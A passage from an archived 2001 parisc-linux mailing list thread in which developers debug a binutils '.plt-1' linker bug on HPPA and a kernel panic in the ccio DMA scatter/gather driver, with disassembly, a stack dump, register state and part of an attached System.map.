 + DYNAMIC_MODULE_LIMIT));
    module *modp;

    for (modp = top_module; modp; modp = modp->next) {
        if (modp->create_server_config)
            conf_vector[modp->module_index] = (*modp->create_server_config) (p, 
s);
    }

    return (void *) conf_vector;
}

Which fits the jump table explanation.  So something's getting trashed
and I really don't know where.  This is with matt's newcompilers-20010520
debs; binutils 2.11.90.0.8 plus modra's patch, gcc 3.0.ds5-0pre010427
with an hppa patch and glibc 2.2.3-2 with an hppa patch.  fwiw, the same
problem happened with binutils 2.11.90.0.1 from the baseplus-0404 tarball.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More unaligned references
Date: Mon, 21 May 2001 16:27:07 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <m151y8p-001VltC@bame.riverrock.org>
References: <20010521225006.I23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620130 19458 80.91.229.3 (22 Nov 2014 01:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bame@www.riverrock.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 16:27:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A05C482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 16:27:16 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4LMRCc63732;
	Mon, 21 May 2001 16:27:12 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA29450;
	Mon, 21 May 2001 16:27:07 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m151y8p-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <matthew@wil.cx>; Mon, 21 May 2001 16:27:07 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Mon, 21 May 2001 22:50:06 BST." <20010521225006.I23718@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11085

> 0x20220 <Letext+1568>:  addil 4800,dp,%r1
> 0x20224 <Letext+1572>:  ldw fb(sr0,r1),r21
> 0x20228 <Letext+1576>:  bv r0(r21)

FYI in case others run across it, this was discovered to be the ".plt-1" bug.
To find out, use 'objdump -h' to figure out where .plt is loaded.  Then add
0x4800 plus 0xfb plus the dp register (r27).  If that's .plt-1 you've found
the bug which is/should-be squashed in recent bits.

	-P







From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More unaligned references
Date: Mon, 21 May 2001 23:40:50 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010521234050.J23718@parcelfarce.linux.theplanet.co.uk>
References: <20010521225006.I23718@parcelfarce.linux.theplanet.co.uk> <matthew@wil.cx> <m151y8p-001VltC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620130 19461 80.91.229.3 (22 Nov 2014 01:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:30 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org,
	bame@www.riverrock.org
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 16:41:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6D93482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 16:41:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 151yM6-0000bZ-00; Mon, 21 May 2001 23:40:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m151y8p-001VltC@bame.riverrock.org>; from bame@riverrock.org on Mon, May 21, 2001 at 04:27:07PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11086

On Mon, May 21, 2001 at 04:27:07PM -0600, Paul Bame wrote:
> FYI in case others run across it, this was discovered to be the ".plt-1" bug.
> To find out, use 'objdump -h' to figure out where .plt is loaded.  Then add
> 0x4800 plus 0xfb plus the dp register (r27).  If that's .plt-1 you've found
> the bug which is/should-be squashed in recent bits.

Not convinced.  Yes, this is in fact .plt-1.  However, that bug is
supposed to be both fixed in this version of binutils and an assert
added to catch it happening.  However, no assert is being tripped.
FWIW, the offending caller is:

     1d0:       eb e0 00 00     b,l 1d8 <create_server_config+0x5c>,r31
                        1d0: R_PARISC_PCREL17F  $$dyncall


-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More unaligned references
Date: Tue, 22 May 2001 10:37:40 +0930
Lines: 29
Approved: news@gmane.org
Message-ID: <20010522103740.L30444@squeak.one.net.au>
References: <20010521225006.I23718@parcelfarce.linux.theplanet.co.uk> <matthew@wil.cx> <m151y8p-001VltC@bame.riverrock.org> <20010521234050.J23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620130 19462 80.91.229.3 (22 Nov 2014 01:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:30 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org,
	bame@www.riverrock.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 19:02:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15344482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 19:02:11 -0600 (MDT)
Original-Received: Received: [from squeak.local (async239-ade-isp-4.nas.one.net.au [203.101.93.240])
	by mail-ob03.one.net.au  with SMTP id f4M11vW21715
	for <parisc-linux@parisc-linux.org>; Tue, 22 May 2001 11:02:06 +1000 (EST)]
Original-Received: (qmail 31551 invoked by uid 179); 22 May 2001 01:07:40 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010521234050.J23718@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Mon, May 21, 2001 at 11:40:50PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11087

On Mon, May 21, 2001 at 11:40:50PM +0100, Matthew Wilcox wrote:
> On Mon, May 21, 2001 at 04:27:07PM -0600, Paul Bame wrote:
> > FYI in case others run across it, this was discovered to be the ".plt-1" bug.
> > To find out, use 'objdump -h' to figure out where .plt is loaded.  Then add
> > 0x4800 plus 0xfb plus the dp register (r27).  If that's .plt-1 you've found
> > the bug which is/should-be squashed in recent bits.
> 
> Not convinced.  Yes, this is in fact .plt-1.  However, that bug is
> supposed to be both fixed in this version of binutils and an assert
> added to catch it happening.  However, no assert is being tripped.
> FWIW, the offending caller is:
> 
>      1d0:       eb e0 00 00     b,l 1d8 <create_server_config+0x5c>,r31
>                         1d0: R_PARISC_PCREL17F  $$dyncall

A shared library created with the "bad" binutils exports millicode syms it
isn't supposed to, which the linker later rejects, resulting in .plt-1
references.  The assert should still have triggered...

A quick check whether a library is good is:
nm --dynamic <lib> | grep '\$\$'

This will show exported millicode syms since they start with '$$'.

Alan





From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel panic
Date: Mon, 21 May 2001 21:57:41 -0600
Lines: 22894
Approved: news@gmane.org
Message-ID: <20010521215741.A27492@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="rwEMma7ioTxnRzrJ"
X-Trace: ger.gmane.org 1416620131 19465 80.91.229.3 (22 Nov 2014 01:35:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 21:58:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4674482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 May 2001 21:57:49 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id CB14FBCE6; Mon, 21 May 2001 21:57:41 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
Xref: news.gmane.org gmane.linux.ports.parisc:11088

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello parisc-linux hackers,

Ok ... I have been beating my head against the wall on this problem
for a while now, so I am going to post the problem to the list and
see if it generates some thoughts on how to debug/fix this problem.

Currently there is a problem with the cpio cdrom -> disk under
ccio.  I reverted the ccio-dma driver back to a previous version 
(before the coleascing of the scatter/gather lists) and re-tested
the cpio cdrom -> disk.  This works ... so I'm fairly certian the
bug is in the ccio code :(

The start debugging the code I added in the debugging routines to
allow me to see the output of the scatter/gather support and it
panic with a code 15 or code 26 pretty consistently.   I have 
traced the problem down simpily adding printk's into the 
ccio_map_sg and/or ccio_unmap_sg functions.  If I add any printk 
(with or without variables) .... it will crash .... if I remove the 
printk's the mke2fs will finish and work fine. [NOTE: this is what
I have reduced the test case to.  I have not tested if printk's 
in other portions of the code also cause the kernel to panic
or not.]

I have been applying my limited knowledge on how to track down 
these crashes, but my limited knowledge does not appear to be enough :(

Here is what I have have/know so far...

1. Every time the kernel crashes .... GR2 and IAOQ appear to be
in a signal type function.  In this crash:
	GR2: rm_sig_from_queue
	IAOQ: rm_from_queue

in a previous crash (code 15):
	GR2: send_signal
	IAOQ: send_signal

in another previous crash (code 26):
	GR2: ignored_signal
	IAOQ: signal_type

etc, etc.....

2. The kernel is pretty much CVS head with a few, slight
modifications.

3. Here is the ccio_map_sg function:
static int 
ccio_map_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, int direction)
{
	int tmp = nents;
	int filled = 0;

	printk("%s() START %d entries\n", __FUNCTION__, nents);

        /* KISS: map each buffer seperately. */
	while(nents) {
		sg_dma_address(sglist) = ccio_map_single(dev, sglist->address, sglist->length, direction);
		sg_dma_len(sglist) = sglist->length;
		nents--;
		sglist++;
		++filled;
	}

	printk("%s() DONE %d mappings\n", __FUNCTION__, filled);
	return tmp;
}

4. Here is the console output from the latest crash. (I have attached
the System.map for anyone interested in looking at that also).

Last login: Thu May 17 18:05:32 2001 on ttyS0
Linux vega 2.4.0 #1 Mon May 21 19:51:17 MDT 2001 parisc unknown
vega:~# mke2fs /dev/sdb3
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
505920 inodes, 1011165 blocks
50558 blocks (5.00%) reserved for the super user
First data block=0
31 block groups
32768 blocks per group, 32768 fragments per group
16320 inodes per group
Superblock backups stored on blocks: 
	32768, 98304, 163840, 229376, 294912, 819200, 884736

Writing inode tables: done                            
Writing superblocks and filesystem accounting ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
information: ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 56 entries
ccio_map_sg() DONE 56 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings
ccio_map_sg() START 64 entries
ccio_map_sg() DONE 64 mappings

Dumping Stack from 3f2b0000 to 3f2b0840:
0000 100ef3c0 10fe8380 3feb3e40 3fbf0c00 00000060 b0ea9875 00a0cc7b c94a0800
0020 450005dc b7f06000 0000ffff 101adcf0 00000000 100ef3c0 10fe8380 3feb3e40
0040 0004ff0f 1029a810 101adcf0 0000000f 100ef3c0 3fbf0c00 00000000 00000000
0060 1029b6d0 0000ffff 10fe8398 00000001 3f2af980 001e8480 00027630 00058260
0080 3f2af980 0000ffff 00000001 00000000 00000000 100e5298 98090009 100e3800
00a0 fffffb10 f2ffd014 100e6000 10274010 00000000 00000040 3f2b0280 101184dc
00c0 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00e0 0000000a fe4917e0 2c760000 84cda718 00000001 bc9c0000 f9abb0d5 f309b5b9
0100 0000000a c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
0120 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
0140 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
0160 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
0180 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
01a0 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
01c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01e0 00000000 00000000 101adcf4 101adcf8 7f2bb706 00000000 34140002 0cf41240
0200 e81f1ccd 0000001f e81f1f7d 0b04041a 00000011 00000040 10252004 10252028
0220 e85d14b1 34423ee9 0806025a 1011113c e85f147d 34180000 081c0243 84603f15
0240 3f2af980 00058260 00027630 001e8480 3f2af980 1029a810 100e3cc0 10fe9800
0260 10252000 00000001 00000040 101064f8 00000000 100eeb00 4b590030 0aa4041a
0280 3f2af980 00000001 10fe8398 0000ffff 1029b6d0 00000000 00000000 3fbf0c00
02a0 100ef3c0 0000000f 6bc43f19 10118518 6bc33f21 84802018 6bd33fc1 48b40028
02c0 00000000 10289534 10289534 0000000e 0000001f 0000003c 0000003e 10289010
02e0 00000001 102e3622 00000004 10102f60 0000001e 102e3622 0814025c 0ca8109a
0300 80000000 00000000 00000001 00000020 889483aa e85d1401 08040258 341c0000
0320 87802150 08060253 0ca8109a 10102e50 8895a010 08130243 0f581094 889480fa
0340 34190002 e85d13a1 34360258 0cb0109a 87402088 08030253 0f501098 8898a050
0360 08130243 0f581094 8094803a 10102850 e85d11a9 0b04041a 08030253 84e0219a
0380 0ce01240 e81f1e8d 341c0000 08040258 00000020 00000000 10273904 3f2b0349
03a0 00000001 0000ffff 3f2af980 1011edb0 0000000e 001e8480 3f2af980 1029a810
03c0 102f9010 3f2b0040 00000020 10276060 ffffffff 3f2b0214 102e3616 1025200f
03e0 08130243 0f581094 889481da 1011e938 e85d1249 08040258 341c0000 87803d8d
0400 00000000 00000001 3f2b0000 e85f10c5 34180000 081c0243 84603d55 08060253
0420 0c681055 86a03d3d d69f1810 1011e880 0c741248 d2941bf0 868220c2 0c681054
0440 86802022 84e0200a 0c681054 0cf41240 e81f1cf5 341c0000 0c30109a 87403fc5
0460 08000240 0f501098 8898a010 10120104 0f581094 88948022 08040258 e85d1131
0480 00000001 00000001 00000000 3f2b0000 01c5cbe9 0b04041a e81f1f4d 08050253
04a0 0ca8109a 0f501095 8895a010 34190000 0f581094 8894801a e85d10b9 08040258
04c0 e81f1eed 08060253 4b590030 e85d0e89 0aa4041a e81f1ec5 08060253 4b590030
04e0 0aa4041a e85d0f29 34423e21 1011fd44 0aa4041a e85d0f09 34423c49 08000240
0500 00000009 6fc60080 081a0246 6bc53f89 08130245 6bc43f91 d3041bf0 6bc33f99
0520 08190243 84602018 6bd33fc1 1011fa88 88748040 229dafe4 239dafe4 379c0e8e
0540 4bc23f59 4bc53f89 4bc43f91 4bc33f99 e840c000 4fc63f81 0cc01095 36940e1a
0560 8ab43fb5 0814025c 8482221a 1011f7f4 e85f0dfd 34180002 878020e0 08050253
0580 00000001 0000000e 00000000 3f2b0000 3f2b0000 0f581094 88748082 e85d0ef1
05a0 08030258 0cd0109a 87402240 08050253 0f501098 8878a010 08130244 0f581094
05c0 88748012 08030258 e80001e8 34190000 4b590030 0b03041a e85d0c71 344201d8
05e0 4b590030 0aa3041a e85d0cb9 34423f69 239dafe4 e81f1e8d 379c0e8c 25c07537
0600 0006fe0e 102f9010 1011f7f4 3f2b0450 102f95d4 3f2b0450 00000018 102e9010
0620 10276384 00000002 10276360 a0000000 3f2b0040 001e8480 00027630 00058260
0640 3f2b0040 0000ffff 00000001 0c30109a e81f1cf5 3f2b0458 00000017 3f2b0100
0660 3f2b0000 3f2b0450 00000018 10274010 00000000 00000014 3f2b0840 1011e860
0680 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
06a0 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
06c0 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
06e0 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
0700 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
0720 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
0740 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
0760 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
0780 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
07a0 00000000 00000000 1011f76c 1011f770 7f2bb706 00000000 a2e30d26 51164c0d
07c0 45c61a4c 00000008 0e881093 00000000 e81f1cf9 885f0ace 2f9cb27a 10c8a0cf
07e0 5f3964f4 2191419e be72c9e8 4322833c 7ce593d0 86450678 f9bd92f2 0cfcb9a3
0800 9da75c88 00000000 00000002 000186a3 00000060 b0ea9875 00a0cc7b c94a0800
0820 450005dc baf06000 4011461a 10106744 0a000005 08010320 106ce28c 9da75c92

Kernel Fault: Code=15 regs=3f2b0600 (Addr=e81f1cf9)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111000001110
r0-3	 00000000 102f9010 1011f7f4 3f2b0450
r4-7	 102f95d4 3f2b0450 00000018 102e9010
r8-11	 10276384 00000002 10276360 a0000000
r12-15	 3f2b0040 001e8480 00027630 00058260
r16-19	 3f2b0040 0000ffff 00000001 0c30109a
r20-23	 e81f1cf5 3f2b0458 00000017 3f2b0100
r24-27	 3f2b0000 3f2b0450 00000018 10274010
r28-31	 00000000 00000014 3f2b0840 1011e860
sr0-3	 00000000 00000000 00000000 00000000
sr4-7	 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1011f76c 1011f770
 IIR: 0e881093    ISR: 00000000  IOR: e81f1cf9
ORIG_R28: a2e30d26


What I am really interested in is learning what I need to do to debug this
type of crash further ... and of course finding the problem causing the
crash :)

Thanks for your help....


- Ryan
-- 

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="System.map"

10100000 A _text
10100000 T _stext
10100000 T stext
10100020 t $bss_loop
1010006c t $pgt_fill_loop
101000e0 t $is_pa20
101000e8 t $install_iva
10100118 t do_linuxrc
10100194 t init
101001c8 t .L1545
10100210 t .L1562
10100224 t .L1549
101002a8 t .L1563
101002a8 t pdc_console_write
101002ec t pdc_console_setup
101002f4 T pdc_console_init
1010030c t .L622
10100340 t .L624
10100364 t .L627
1010036c T pdc_console_die
1010036c t .L628
10100424 T pdc_console_restart
1010043c t .L635
10100488 T disable_hlt
10100488 t .L643
101004a0 T enable_hlt
101004b8 T cpu_idle
101004e0 t .L693
101004fc t .L696
10100500 T machine_restart
10100520 T machine_halt
10100524 T machine_power_on
10100528 T machine_power_off
10100554 T machine_heartbeat
10100558 T kernel_thread
10100570 T exit_thread
10100574 T flush_thread
10100590 T release_thread
10100594 T dump_fpu
101005c4 T sys_clone
101005e0 T sys_vfork
1010060c T copy_thread
101006c0 T sys_execve
10100750 T free_initmem
10100754 T __bad_pgd
10100794 T __bad_pmd
101007d4 T get_pte_slow
101008a4 T do_check_pgt_cache
101008ac T __bad_pagetable
101008b4 T __bad_page
101008bc T show_mem
101009e4 T set_pte_phys
101009e8 T alloc_sid
10100a0c t .L998
10100b5c T free_sid
10100b5c t .L1025
10100be0 t recycle_sids
10100c5c T flush_tlb_all
10100c7c T free_initrd_mem
10100c80 T si_meminfo
10100ccc t parisc_acctyp
10100d9c T do_page_fault
10100e30 t .L725
10100ea8 t .L682
10100ee0 t .L738
10100f04 t .L688
10100f58 t .L716
10100fd0 t .L739
10100fdc t .L740
10101028 t .L706
10101040 t .L741
101010f0 t .L742
101010f8 T search_exception_table
10101168 T flush_all_caches
10101190 T update_mmu_cache
1010121c T get_cache_info
10101310 T disable_sr_hashing
10101370 t .L735
10101384 t .L751
10101400 T __flush_tlb_all
10101484 t fitmanyloop
10101490 t fitmanymiddle
101014ac t fitoneloop
101014b8 t fitonemiddle
101014c8 t fitdone
101014f0 t fdtmanyloop
101014fc t fdtmanymiddle
10101518 t fdtoneloop
10101524 t fdtonemiddle
10101534 t fdtdone
10101574 T flush_instruction_cache
10101598 t fimanyloop
101015ac t fioneloop
101015b4 t fisync
101015c0 T flush_data_cache
101015e8 t fdmanyloop
101015fc t fdoneloop
10101604 t fdsync
10101618 T copy_user_page_asm
101016b0 T clear_user_page_asm
10101720 T flush_kernel_dcache_page
10101784 T purge_kernel_dcache_page
101017e8 T flush_user_dcache_range_asm
1010180c T flush_kernel_dcache_range_asm
10101834 T flush_user_icache_range_asm
10101858 T flush_kernel_icache_range_asm
10101880 T disable_sr_hashing_asm
101018e4 t srdis_pcxs
10101900 t srdis_pcxl
10101910 t srdis_pa20
1010191c t srdis_done
10101980 t cpu_driver_callback
10101a18 T init_per_cpu
10101a94 t .L889
10101ac0 T get_cpuinfo
10101ac0 t .L891
10101c6c t printbinary
10101cd8 T show_regs
10101e3c T die_if_kernel
10101ef0 T syscall_ipi
10101f14 T handle_gdb_break
10101f54 T handle_break
10101fe4 t .L723
10102014 t .L734
10102080 t .L735
10102084 T handle_toc
1010208c T default_trap
101020c0 T handle_interruption
101020f0 t .L740
10102220 t .L738
10102290 t .L777
101022dc t .L781
101022dc t .L827
101022f0 t .L828
10102314 t .L829
10102358 t .L830
10102364 t .L831
101023b8 t .L832
101024dc t .L833
10102528 t .L834
10102530 t .L835
10102534 T show_stack
101025e4 T parisc_terminate
1010261c t .L846
10102654 T transfer_pim_to_trap_frame
10102654 t .L851
101027f8 T timer_interrupt
1010285c T do_gettimeofday
10102904 T do_settimeofday
10102a2c t disable_cpu_irq
10102a48 t enable_cpu_irq
10102a74 T disable_irq
10102ab8 t .L683
10102ad4 T enable_irq
10102ad4 t .L685
10102b18 t .L688
10102b34 T get_irq_list
10102b34 t .L690
10102ce4 T txn_alloc_irq
10102d1c T txn_claim_irq
10102d50 T txn_alloc_addr
10102da4 T txn_alloc_data
10102ddc T do_irq
10102eb4 T do_irq_mask
10103010 T alloc_irq_region
10103174 t .L790
1010318c t .L793
10103190 T request_irq
1010334c T free_irq
101033e8 t .L815
10103408 t .L838
1010343c T probe_irq_on
10103444 T probe_irq_off
1010344c T init_irq_proc
10104000 T linux_gateway_page
101040e0 t set_thread_pointer
10104100 t linux_gateway_entry
10104254 t syscall_nosys
10104260 t tracesys
1010430c t tracesys_next
1010434c t tracesys_exit
10104378 t tracesys_sigexit
10104390 T sys_call_table
10105000 T end_linux_gateway_page
10105000 T fault_vector_20
10105800 T fault_vector_11
10105c00 T __kernel_thread
10105c34 T ret_from_kernel_thread
10105c54 T __execve
10105c84 t __execve_failed
10105c90 T _switch_to
10105cf8 t _switch_to_ret
10106000 T syscall_exit_rfi
10106048 t intr_return
10106060 t intr_check_resched
10106070 t intr_check_sig
10106080 t intr_restore
10106268 t intr_do_softirq
10106278 t intr_do_resched
10106294 t intr_do_signal
101062bc t intr_extint
10106500 T intr_save
101065e0 t skip_save_ior
1010674c t dtlb_miss_11
101067d8 t dtlb_check_alias_11
10106810 t nadtlb_miss_11
1010689c t dtlb_miss_20
10106910 t dtlb_check_alias_20
10106944 t nadtlb_miss_20
101069b8 t nadtlb_emulate
101069f0 t nadtlb_nullify
10106a08 t itlb_miss_11
10106a20 t itlb_miss_common_11
10106a90 t itlb_miss_kernel_11
10106a98 t itlb_miss_20
10106ab0 t itlb_miss_common_20
10106b08 t itlb_miss_kernel_20
10106b10 t dbit_trap_11
10106b98 t dbit_trap_20
10106c08 t kernel_bad_space
10106c10 t dbit_fault
10106c18 t itlb_fault
10106c20 t nadtlb_fault
10106c28 t dtlb_fault
10106c30 T sys_fork_wrapper
10106ca0 t wrapper_exit
10106cfc T child_return
10106d10 T sys_clone_wrapper
10106d7c T sys_vfork_wrapper
10106de8 T sys_execve_wrapper
10106e10 t error_sys_execve
10106e18 T sys_rt_sigreturn_wrapper
10106e7c T sys_sigaltstack_wrapper
10106e9c T sys_rt_sigsuspend_wrapper
10106f40 T syscall_exit
10106f4c t syscall_check_bh
